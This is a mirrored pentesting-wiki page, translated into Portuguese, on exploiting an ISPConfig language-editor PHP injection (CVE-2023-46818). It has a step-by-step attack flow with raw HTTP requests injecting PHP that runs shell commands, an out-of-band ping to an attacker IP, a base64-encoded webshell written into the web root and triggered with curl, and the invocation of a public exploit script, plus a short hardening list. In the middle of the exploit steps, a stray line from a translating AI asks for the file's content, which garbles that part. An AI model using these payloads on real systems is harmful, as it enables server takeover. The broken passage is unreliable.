mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
92 lines
4.3 KiB
Markdown
92 lines
4.3 KiB
Markdown
# ISPConfig
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Visão geral
|
||
|
||
ISPConfig é um painel de controle de hospedagem open-source. Versões antigas 3.2.x incluíam um recurso de editor de arquivos de idioma que, quando ativado para o superadministrador, permitia a injeção de código PHP arbitrário via um registro de tradução malformado. Isso pode resultar em RCE no contexto do servidor web e, dependendo de como o PHP é executado, elevação de privilégios.
|
||
|
||
Principais caminhos padrão:
|
||
- A raiz web costuma estar em `/var/www/ispconfig` quando servida com `php -S` ou via Apache/nginx.
|
||
- A UI de administração é acessível no vhost HTTP(S) (às vezes vinculada apenas ao localhost; use SSH port-forward se necessário).
|
||
|
||
Dica: Se o painel estiver vinculado localmente (ex.: `127.0.0.1:8080`), encaminhe-o:
|
||
```bash
|
||
ssh -L 9001:127.0.0.1:8080 user@target
|
||
# then browse http://127.0.0.1:9001
|
||
```
|
||
## Language editor PHP code injection (CVE-2023-46818)
|
||
|
||
- Afetado(s): ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||
- Pré-requisitos:
|
||
- Faça login com a conta superadmin integrada `admin` (outros papéis não são afetados segundo o fornecedor)
|
||
- O Language editor deve estar habilitado: `admin_allow_langedit=yes` em `/usr/local/ispconfig/security/security_settings.ini`
|
||
- Impacto: Um admin autenticado pode injetar PHP arbitrário que é escrito em um arquivo de idioma e executado pela aplicação, alcançando RCE no contexto web
|
||
|
||
Referências: entrada NVD CVE-2023-46818 e link do advisory do fornecedor na seção Referências abaixo.
|
||
|
||
### Fluxo de exploração manual
|
||
|
||
1) Abra/crie um arquivo de idioma para obter tokens CSRF
|
||
|
||
Envie um primeiro POST para inicializar o formulário e extraia os campos CSRF da resposta HTML (`csrf_id`, `csrf_key`). Exemplo de caminho de requisição: `/admin/language_edit.php`.
|
||
|
||
2) Injete PHP via records[] e salve
|
||
|
||
Envie um segundo POST incluindo os campos CSRF e um registro de tradução malicioso. Provas mínimas de execução de comando:
|
||
```http
|
||
POST /admin/language_edit.php HTTP/1.1
|
||
Host: 127.0.0.1:9001
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Cookie: ispconfig_auth=...
|
||
|
||
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
|
||
```
|
||
Teste fora de banda (observar ICMP):
|
||
```http
|
||
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
|
||
```
|
||
3) Escrever arquivos e drop a webshell
|
||
|
||
Use `file_put_contents` para criar um arquivo em um caminho acessível via web (por exemplo, `admin/`):
|
||
```http
|
||
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
|
||
```
|
||
Em seguida, escreva um webshell simples usando base64 para evitar caracteres inválidos no corpo do POST:
|
||
```http
|
||
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
|
||
```
|
||
Por favor, cole aqui o conteúdo do arquivo src/network-services-pentesting/pentesting-web/ispconfig.md que você quer que eu traduza para o português. Sem o conteúdo não consigo fazer a tradução.
|
||
```bash
|
||
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
|
||
```
|
||
Se o PHP for executado como root (por exemplo, via `php -S 127.0.0.1:8080` iniciado pelo root), isso resulta em root RCE imediato. Caso contrário, você obtém execução de código como o usuário do servidor web.
|
||
|
||
### PoC em Python
|
||
|
||
Um exploit pronto para uso automatiza token handling e payload delivery:
|
||
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||
|
||
Exemplo de execução:
|
||
```bash
|
||
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
|
||
```
|
||
### Hardening
|
||
|
||
- Atualize para 3.2.11p1 ou posterior
|
||
- Desative o language editor a menos que seja estritamente necessário:
|
||
```
|
||
admin_allow_langedit=no
|
||
```
|
||
- Evite executar o painel como root; configure o PHP-FPM ou o servidor web para reduzir privilégios
|
||
- Exija autenticação forte para a conta integrada `admin`
|
||
|
||
## Referências
|
||
|
||
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
|
||
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
|
||
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|